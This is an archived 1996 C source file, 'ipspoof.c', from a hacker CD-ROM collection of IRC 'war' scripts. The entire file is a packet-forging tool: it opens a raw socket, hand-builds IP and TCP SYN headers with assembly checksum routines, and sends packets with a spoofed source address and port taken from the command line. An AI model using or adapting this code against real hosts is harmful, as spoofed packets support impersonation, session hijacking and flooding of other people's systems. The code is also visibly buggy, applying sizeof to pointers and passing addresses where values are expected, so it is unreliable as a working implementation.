home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / ipspoof.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  7KB  |  231 lines

  1.  
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in_systm.h>
  5. #include <netinet/in.h>
  6. #include <netinet/ip.h>
  7. #include <netinet/tcp.h>
  8. #include <netinet/ip_icmp.h>
  9. #include <netdb.h>
  10.  
  11. unsigned short ip_cksum(unsigned char * buff, int len)
  12. {
  13.         unsigned long sum = 0;
  14.         if (len > 3)
  15.         {
  16.                 __asm__("clc\n"
  17.                 "1:\t"
  18.                 "lodsl\n\t"
  19.                 "adcl %%eax, %%ebx\n\t"
  20.                 "loop 1b\n\t"
  21.                 "adcl $0, %%ebx\n\t"
  22.                 "movl %%ebx, %%eax\n\t"
  23.                 "shrl $16, %%eax\n\t"
  24.                 "addw %%ax, %%bx\n\t"
  25.                 "adcw $0, %%bx"
  26.                 : "=b" (sum) , "=S" (buff)
  27.                 : "0" (sum), "c" (len >> 2) ,"1" (buff)
  28.                 : "ax", "cx", "si", "bx" );
  29.         }
  30.         if (len & 2)
  31.         {
  32.                 __asm__("lodsw\n\t"
  33.                 "addw %%ax, %%bx\n\t"
  34.                 "adcw $0, %%bx"
  35.                 : "=b" (sum), "=S" (buff)
  36.                 : "0" (sum), "1" (buff)
  37.                 : "bx", "ax", "si");
  38.         }
  39.         if (len & 1)
  40.         {
  41.                 __asm__("lodsb\n\t"
  42.                 "movb $0, %%ah\n\t"
  43.                 "addw %%ax, %%bx\n\t"
  44.                 "adcw $0, %%bx"
  45.                 : "=b" (sum), "=S" (buff)
  46.                 : "0" (sum), "1" (buff)
  47.                 : "bx", "ax", "si");
  48.         }
  49.         sum =~sum;
  50.         return(sum & 0xffff);
  51. }
  52.  
  53. unsigned short tcp_check(struct tcphdr *th, int len,
  54.           unsigned long saddr, unsigned long daddr)
  55. {
  56.         unsigned long sum;
  57.         __asm__("
  58.             addl %%ecx, %%ebx
  59.             adcl %%edx, %%ebx
  60.             adcl $0, %%ebx
  61.             "
  62.         : "=b"(sum)
  63.         : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
  64.         : "bx", "cx", "dx" );
  65.         __asm__("
  66.             movl %%ecx, %%edx
  67.             cld
  68.             cmpl $32, %%ecx
  69.             jb 2f
  70.             shrl $5, %%ecx
  71.             clc
  72. 1:          lodsl
  73.             adcl %%eax, %%ebx
  74.             lodsl
  75.             adcl %%eax, %%ebx
  76.             lodsl
  77.             adcl %%eax, %%ebx
  78.             lodsl
  79.             adcl %%eax, %%ebx
  80.             lodsl
  81.             adcl %%eax, %%ebx
  82.             lodsl
  83.             adcl %%eax, %%ebx
  84.             lodsl
  85.             adcl %%eax, %%ebx
  86.             lodsl
  87.             adcl %%eax, %%ebx
  88.             loop 1b
  89.             adcl $0, %%ebx
  90.             movl %%edx, %%ecx
  91. 2:          andl $28, %%ecx
  92.             je 4f
  93.             shrl $2, %%ecx
  94.             clc
  95. 3:          lodsl
  96.             adcl %%eax, %%ebx
  97.             loop 3b
  98.             adcl $0, %%ebx
  99. 4:          movl $0, %%eax
  100.             testw $2, %%dx
  101.             je 5f
  102.             lodsw
  103.             addl %%eax, %%ebx
  104.             adcl $0, %%ebx
  105.             movw $0, %%ax
  106. 5:          test $1, %%edx
  107.             je 6f
  108.             lodsb
  109.             addl %%eax, %%ebx
  110.             adcl $0, %%ebx
  111. 6:          movl %%ebx, %%eax
  112.             shrl $16, %%eax
  113.             addw %%ax, %%bx
  114.             adcw $0, %%bx
  115.             "
  116.         : "=b"(sum)
  117.         : "0"(sum), "c"(len), "S"(th)
  118.         : "ax", "bx", "cx", "dx", "si" );
  119.  
  120.         /* We only want the bottom 16 bits, but we never cleared the top 16. */
  121.  
  122.         return((~sum) & 0xffff);
  123. }
  124.  
  125. void resolve_address(struct sockaddr *addr, char *hostname, u_short port) {
  126. struct sockaddr_in *address;
  127. struct hostent *host;
  128.  
  129. address = (struct sockaddr_in *)addr;
  130. (void) bzero((char *)address, sizeof(struct sockaddr_in));
  131. address->sin_family = AF_INET;
  132. address->sin_port = htons(port);
  133. address->sin_addr.s_addr = inet_addr(hostname);
  134. if ((int)address->sin_addr.s_addr == -1) {
  135.   host = gethostbyname(hostname);
  136.   if (host) {
  137.    bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length);
  138.   }
  139.   else {
  140.    puts("Couldn't resolve address!!!");
  141.    exit(-1);
  142.   }
  143.  }
  144. }
  145.  
  146. char *create_ip(u_long source, u_long dest, u_char protocol, u_char ttl,
  147.         u_short id, char *data, int data_len)
  148. {
  149.  char *ip_datagram;
  150.  struct iphdr *ip_header;
  151.  ip_datagram = malloc(sizeof(struct iphdr) + data_len);
  152.  ip_header = ip_datagram;
  153.  ip_header->version   = 4;
  154.  ip_header->tos       = 0;
  155.  ip_header->frag_off  = 0;
  156.  ip_header->check     = 0;
  157.  ip_header->saddr     = source;
  158.  ip_header->daddr     = dest;
  159.  ip_header->protocol  = protocol;
  160.  ip_header->ttl       = ttl;
  161.  ip_header->id        = htons(id);
  162.  ip_header->ihl       = 5;
  163.  ip_header->tot_len   = htons(sizeof(struct iphdr) + data_len);
  164.  ip_header->check = htons(ip_cksum(ip_datagram,sizeof(struct iphdr)));
  165.  bcopy(data,ip_datagram+sizeof(struct iphdr),data_len);
  166.  return ip_datagram;
  167. }
  168.  
  169. char *create_tcp(u_long source, u_long dest, u_short sport, u_short dport,
  170.         u_long seqnum, u_long acknum, u_char flags, char *data, int datalen)
  171. {
  172.  char *wewt;
  173.  struct tcphdr *tcp_header;
  174.  wewt = malloc(sizeof(struct tcphdr) + datalen);
  175.  tcp_header = wewt;
  176.  tcp_header->th_sport = sport;
  177.  tcp_header->th_dport = dport;
  178.  tcp_header->th_seq   = seqnum;
  179.  tcp_header->th_ack   = acknum;
  180.  tcp_header->th_flags = flags;
  181.  tcp_header->th_sum   = 0;
  182.  tcp_header->th_sum = htons(tcp_check(tcp_header, sizeof(struct tcphdr),
  183.     source, dest));
  184.  bcopy(data,wewt+sizeof(struct tcphdr),datalen);
  185.  return wewt;
  186. }
  187.  
  188. void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
  189.  char *packet;
  190.  char *tcppacket;
  191.  char *sendme;
  192.  static struct sockaddr_in local, remote;
  193.  static int sock = 0;
  194.  if (!sock) {
  195.    resolve_address((struct sockaddr *)&local, fromhost, fromport);
  196.    resolve_address((struct sockaddr *)&remote, tohost, toport);
  197.    sock = socket(AF_INET, SOCK_RAW, 255);
  198.    if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  199.   }
  200.    tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr,
  201.         local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,
  202.         NULL, 0);
  203.    packet = create_ip(&local.sin_addr, &remote.sin_addr,
  204.         6, 24, 4, NULL, 0);
  205.    sendme = (struct iphdr *)packet;
  206.    bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));
  207.    printf("the ip header is %d bytes long.\n", sizeof(struct iphdr));
  208.    printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr));
  209.    printf("the ip packet is %d bytes long.\n", sizeof(packet));
  210.    printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket));
  211.    printf("the final packet is %d bytes long.\n", sizeof(sendme));
  212.   {
  213.    int result;
  214.  
  215.    result = sendto(sock, packet, sizeof(packet), 0,
  216.         (struct sockaddr *)&remote, sizeof(remote));
  217.    if (result != sizeof(packet)) { perror("sending packet"); }
  218.   }
  219. }
  220.  
  221. main(int argc, char **argv) {
  222. if (argc!=5) {
  223.  printf("usage: %s <from host> <from port> <to host> <to port>\n", argv[0]);
  224.  exit(-1);
  225. }
  226.  printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]),
  227.         argv[3], atoi(argv[4]));
  228.  sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
  229. }
  230.  
  231.